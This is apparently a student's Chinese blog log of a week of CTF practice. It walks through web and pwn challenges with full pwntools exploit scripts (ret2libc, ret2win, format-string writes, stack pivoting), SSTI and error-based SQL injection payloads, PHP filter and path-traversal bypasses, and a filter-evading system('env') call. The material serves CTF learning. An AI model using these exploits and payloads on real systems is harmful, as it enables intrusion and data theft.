第一天
Web题目:抓住那只猫
一个传参页面,试着ping一下
有反应感觉大致和终端命令有关,但尝试;|&等连接符号都无果,凡发现这些都会进行url编码。
输入%FB类似的宽字节就可看到报错信息
可以讲html复制出来到软件用网页打开看图
看到了熟悉的django报错页面,看来是将输入的参数传到了后端的django服务中进行解析,而django设置了编码为gbk导致错误编码了宽字符(超过了ascii码范围)。
找到路径/opt/api,然后这里题目提示关于php curl,说明文件要加一个@,
这里还需要懂一些django开发的基本知识,我感觉这道题涉及的面有点广了,django项目下一般有个settings.py文件是设置网站数据库路径(django默认使用的的是sqlites数据库),如果使用的是其它数据库的话settings.py则设置用户名和密码。除此外settings.py还会对项目整体的设置进行定义。
读取settings.py文件,这里需要注意django项目生成时settings.py会存放在以项目目录下再以项目名称命名的文件夹下面。
拿到@/opt/api/api/settings.py
然后发现
同样到@/opt/api/database.sqlite3
找到
pwn题目:babyrop
考点:构造rop链
检查保护发现,NX保护开了,Full RELRO开启
Nx不开保护:在任意一段写入shellcode即可执行。
Full RELRO:
看下主函数,读取了当地一个文件的前四字节,然后传入函数,
跳转到sub_804871F函数
sprintf函数:将a1转化为整数型储存到s之中
read函数:读取32位字节到buf中。
将buf最后一位设为0,把它作为截断字符,因为strlen函数遇到0就会停下
if进行比较s和buf前v1位是否相同,这里s储存的是a1,我们根本不知道文件内容,所以正常来说肯定直接exit退出,那我们明显是要绕过,不然没法进行别的操作了。
既然strlen函数遇到0就会停下,那我们是不是可以在输入之中,自己输入0,进行strlen的绕过,
这里要注意因为strlen检测字符,所以传入0要传入'\x00'.如果这里没开Nx保护,好像就可以直接放shellcode。
这里你要注意返回值是buf[7],很有可能等下要用到,再接下来回到主函数看到最后一个函数
这里有read函数,有了输入我们在不能进行shellcode构造情况下,想到泄露地址,发现这里是可以自己控制输入长度的,发现能到return指令,那接下来就是libc泄露
给出脚本,这里题目以及给了版本。
# 使用官方libc版本
from pwn import *
io = remote("node4.buuoj.cn",29222)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
system_libc = libc.symbols['system'] # 这仅仅是libc中的地址,实际运行中的地址为libc_base+libc["system"]
binsh_libc = next(libc.search(b'/bin/sh'))
write_libc = libc.symbols['write']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825
payload = b'\x00' + b'\xff' * 6 + b'\xff' # v5
io.sendline(payload)
io.recvuntil("Correct\n")
payload = b'a' * (0xe7 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload)
write_addr = u32(io.recv(4))
# 得到了write在内存中的位置 所以我们可以用题目提供的函数共享库算出system在内存中的位置
base = write_addr - write_libc
system_addr = system_libc + base
binsh_addr = binsh_libc + base
payload = b'\x00' + b'\xff' * 7
io.sendline(payload)
io.recvuntil("Correct\n")
# 第二次就直接把返回地址改成system的地址
payload = b'a' * (0xe7 + 4) + p32(system_addr) + p32(main_addr)
payload += p32(binsh_addr)
io.sendline(payload)
io.interactive()
第二天
考点为:
发现报错源码有信息提示 ,给出了flag的位置,点击login也是类似的情况这没有信息了
想了好一会儿,猜测是SSTI
最常用的{{''.__class__.__mro__[2].__subclasses__()}}
可能有过滤 ,看下config
用
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
拿到flag
pwn题目:32bit nop sled
检查保护,32位关闭NX PIE 有可读可写可执行的段 因此我们可以从堆栈中执行。向程序提供 shellcode 很容易,因为它只要求输入。现在我们只需要 找到一种方法来跳转到我们的 shellcode,然后通过v5()启用函数,那我们这里整体思路就是:输入的v5要在输入的shellcode之前,并且在第一个nop之后,因为输入在seed里,所以自然就是在seed之后,所以要找到seed位置
找到主函数
发现会输出一个position,我们看下query_position函数(可以知道缓冲区在堆栈上的大致位置),
有个输入,那这里我们就先把shellcode输入进去。
疑问:输入多少个Nop指令呢?
答:因为输进v5的地址要在shellcode之前,那么我们的nop指令数就要大于=random,random∈(0,1336),那我们就将nop指令数设置为1336。这样我们就有payload以及输进v5的地址。
payload = '/x90'*1336+shellcode
我们知道了position的位置,根据程序倒退&v1=position+668-random,再找到seed=v1+0x20
输入的要在seed上面,所以输入=seed+x=position+0x20+668-random+x,极端情况考虑最大就是random=0,我们就可以将position+0x2d+668输进v5,
注意:
32位存入由高地址向低地址,所以上面是比seed大的地址值,因为random不确定,random=0的地方最高,也就是最前面,就肯定在shellcode前面,
v4 = __readgsdword(0x14u);
这行代码是读取指定偏移量处的数据,并将其赋值给变量v4
CTFshow-pwn入门-pwn67(nop sled空操作雪橇)_T1ngSh0w的博客-CSDN博客
这篇文章很详细
第三天
web题目:给我看看
看到源码分析,一个反序列化题目,要求your_answer===name,这里name赋值了全局变量,不知道是什么,your_ansewer是可以自己定义输入,那这里明显不知道具体变量值,一种去找到,但扫了目录还是没有发现,所以就想到&符号,搜索一下php也有,并且是直接链接起来,一起变值,但这里有点不同,关于赋值&,
public function __construct(){
$this->your_answer=&$this->name;
}
这样子才能可行,再看下面要求输入s变量==‘给我看看’,然后extract函数,这里通俗归纳一下
把post函数中的变量提取,如果有相同的变量就进行覆盖,看下面sercret不能等于给我看看,不然就跳转到音乐界面,我们就要传参secret键名,再把我们序列化的字符串输入就行
附上代码
<?php
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->your_answer=&$this->name;
}
}
$b=new whoami();
echo serialize($b);
pwn题目:rip
检查保护,发现没有保护基本
可以直接写入
找到后面函数
非常简单
注意:io.recv()收取这里不能放发送payload后面
脚本一:
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('node4.buuoj.cn',27150)
elf=ELF('./pwn1')
offset =0xF+8
fun= 0x40118A
print(hex(fun))
payload = cyclic(offset)+p64(fun)
io.send(payload)
io.interactive()
二:有system自己构造shell指令。
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('node4.buuoj.cn',27150)
elf=ELF('./pwn1')
offset =0xF+8
system = elf.sym['system']
pop_rdi = 0x4011fb
ret= 0x401016
bin_sh_addr = 0x40201b
payload = cyclic(offset)+p64(ret)+p64(pop_rdi)+p64(bin_sh_addr)+p64(system)
io.send(payload)
io.interactive()
第四天
web题目:报错注入
考点:报错注入
源码给出提示会有sql报错,所以打开burp进行抓包
拿到数据库名
' and (updatexml('anything',concat('~',(select database())),'anything'))--+ &pass=1' and 1=2 --+
拿表名
lili'and extractvalue(1,concat(1,(Select group_concat(table_name)from information_schema.tables where table_schema=database())))--+
最后拿到flag,可以用不同的报错注入,但是要注意这里有一个select过滤,多加尝试可以大小写绕过,所以要注意,多多尝试。
考点:格式化字符
查看保护
明显告诉我们要让daniu=6,跟到ctfshow里面去看下
可以看到这里的ptintf(s)明显的存在格式化字符串漏洞,第一次接触,不知道为啥这里就存在漏洞?别急后面会逐步讲解。首先将数组s初始化为0,清除数组中的内容,然后读取0x50的数据到字符数组s中。printf(s);使用用户输入的内容作为格式字符串,进行printf输出。这里存在格式字符串漏洞我们可以先简单尝试一下,先正常输入字符,看起来没有问题:
但输入别的,告诉了我们s的位置
再看daniu位置
但是当我们输入特殊的格式字符时候会输出特定的内容:后续知识在下面会讲解,接着回到这题,我们看一下daniu:daniu的地址为:0x804B038可以看到daniu在bss段,测一下格式化字符串的偏移
看到偏移量为7
我们需要让daniu = 6,现在又有格式化字符串漏洞,我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell这里使用pwntools模块中的fmtstr模块直接进行改写
fmtstr_payload(7,{daniu:6})
from pwn import*
context.log_level='debug'
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show',28262)
daniu=0x804B038
payload=fmtstr_payload(7,{daniu:6})
io.sendline(payload)
io.interactive()
第五天
web题目:泰山杯
考点:php伪协议绕过
看到源码,分析需要传入filename,看到Include函数直接上data协议和php伪协议,发现php伪协议出现了不一样的提示
明显是系统有了过滤,经过手动输入找到过滤参数
一个是read,一个是base,
这里对s进行url编码再url编码
注意:先进行字母的编码,再对编码进行普通编码
?filename=php://filter/=convert.ba%2573e64-encode/resource=check.php
进行转化发现说方法不对
猜测可能是转换器的类型不对
使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据
convery.iconv.*的使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
支持的编码字符集如下所示:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
...
#具体支持的编码可见php官方文档:https://www.php.net/manual/zh/mbstring.supported-encodings.php
进行交叉爆破
?filename=php://filter/convert.iconv.EUC-JP%2a.UCS-4*/resource=flag.php
pwn题目 : ciscn_2019_es_2【BUUCTF】
考点:找到shellcode存放位置
main函数找到vul,发现是两个read函数,
同时找到有一个hack函数,是echo flag,这里注意是输出flag字符,不是我们要的flag,但已经有了system函数,我们可以找到固定存放echo flag这里的地址,改变参数为/bin/sh
回到这里,s能写的是0x28,输入是0x30,说明只能写入差8位,位置太小不够写入shellcode,刚好就是ebp和ret的地址数据,我们就要想到栈迁移
栈迁移能被实施的条件有二:
1.存在 leave ret 这类gadget指令
2.存在可执行shellcode的内存区域
对于条件一,使用ROPGadget可查看存在哪些gadget。如下图所示,程序中许多地方都存在一条 leave ret 指令,因此条件一满足。
对于条件二, system函数让「可执行」成为了可能, /bin/sh 则需要我们自行写入。
在本题中,劫持目标地址即为缓冲区变量 s 的起始地址。要计算这一地址,可采取 栈上 ebp + 偏移量 的方法。其中,栈上 ebp可由 printf 函数泄露得到,偏移量的确定则需要进行调试分析。如图所示,可在 vuln 函数中 0x80485fc 的 nop 处设置断点,在运行时仅输入 aaaa 进行定位即可。
由图可知,此时 esp 位于 0xffffcf90 处,即缓冲区变量开头的'aaaa', ebp寄存器位于 0xffffcfb8,而该地址所存内容,即栈上 ebp 为 0xffffcfc8,为上层main函数的 old ebp。 old ebp 与 缓冲区变量 相距 0x38,这说明只要使用 printf 泄露出攻击时栈上 ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方。
疑问:ebp和ret分别指什么?
EBP:扩展基址指针寄存器(extended base pointer) 其内存放着一个指向系统栈最上面一个栈帧底部的指针。用于引用函数参数和局部变量
ret是返回地址
这里可以看到下面的printf函数,这个函数输出s字符串时是根据截断符号来停止的,具体在哪不知道,但我们直接输入垃圾数据覆盖到ebp指针位置,然后收取bbbb数据后的四个数据就是ebp指针地址,知道了地址再去求system参数位置
payload = b'a'*0x24 + b'BBBB'
拿到ebp地址,找到leave;ret
构造
这里注意ebp-0x28实际上是s+0x10,前面四个四字节,刚好16就是0x10,并不是ebp-28数组长度,
payload='aaaa'+p32(sys)+p32(main)+p32(ebp-0x28)+"/bin/sh"
第一个’aaaa‘随便输入,如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
接着跟上system函数的地址
后面是执行完system函数后的返回地址,这边也可以随便写
之后是一个地址,这个地址指向的是我们写在栈上的’/bin/sh‘字符串
将参数0x28长的s补齐
payload2=payload2.ljust(0x28,'\x00')
劫持回到s,然后通过leave_ret调用执行,拿到shell
payload2+=p32(s)+p32(leave_ret)
偏移量的确定则需要进行调试分析
所以 再次read输入payload
# 第二阶段
leave_ret_addr= 0x080485FD
system_addr = elf.symbols["system"]
payload = b'A'*4 + p32(system_addr) + p32(0) + p32(ebp_addr-0x38+0x10) + b"/bin/sh"
payload=payload.ljust(0x28,b'\x00') + p32(ebp_addr-0x38) + p32(leave_ret_addr)
第六天
web题目:codes
tips:flag格式为Nepctf{},flag存在环境变量
无需理会 Team_Hash、
网页给出了一个c的编译器,本想直接用system执行命令,题目说了在环境变量里,但发现被过滤禁用了,所以想办法绕过
方法一:可以使用/绕过
#include <stdio.h>
int main()
{
s\
ystem("en\
v");
return 0;}
放法二:别人的wp:char **argv直接打印命令行参数
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
// 打印命令行参数
printf("Command line arguments:\n");
for (int i = 0; i < 20; i++) {
printf("argv[%d]: %s\n", i, argv[i]);
}
return 0;
}
pwn题目:64位格式化字符串原理
查看保护
跟进example
这里我们可以看到使用用户输入的格式化字符串将 s 输出,那么我们如果需要获取flag,仅仅需要使用%s输出flag字符串即可获取flag
第七天
web题目:文件读取
根据注释source.php拿到源码
告诉我们有hint提示
是字符串和不为空
第一个if,判断page变量是否为空,是否是字符串
第二个if,判断传入的page是否在白名单中
第三个if,截取page ?之前的字符赋给_page,判断_page是否在白名单中
第四个if,对page进行一次url解码并赋给_page,截取_page ?之前的字符赋给_page
判断_page是否在白名单中,因此需传入二次编码后的内容,就可以使checkfile返回true
使用目录穿越
?file=source.php%253f/../../../../ffffllllaaaagggg
考点:sql注入以及找到什么要绕过
pwn题目:格式化原理
看保护
看到exit0函数跟进
直接给出flag
周报
本周总结:
1.栈溢出攻击的多种方式(nop sled,栈劫持)
2.web各种题型及基础巩固复习
下周计划:
1.逐步接触格式化字符串
2.六级准备
普通网友: 文章内容通俗易懂,适合不同层次的读者。【我也写了一些相关领域的文章,希望能够得到博主的指导,共同进步!】
普通网友: 这篇文章真是一篇佳作!作者运用了生动有趣的语言,将枯燥的理论知识娓娓道来,让人如沐春风。【我也写了一些相关领域的文章,希望能够得到博主的指导,共同进步!】
普通网友: 引领技术潮流,是不可多得的好文,十分值得借鉴和参考。期待博主未来能够持续分享更多好文【我也写了一些相关领域的文章,希望能够得到博主的指导,共同进步!】
N1_WEB: 如果你对此专题感兴趣,请支持我继续更新ing...
CSDN-Ada助手: 恭喜你写了第20篇博客,标题为“假期比赛记录”!能够持续创作并分享你的经历真是令人钦佩。希望你在未来的创作中可以继续保持这样的热情和坚持,也可以尝试更多不同类型的主题和风格,让你的读者有更多新鲜感和惊喜。期待你的下一篇作品!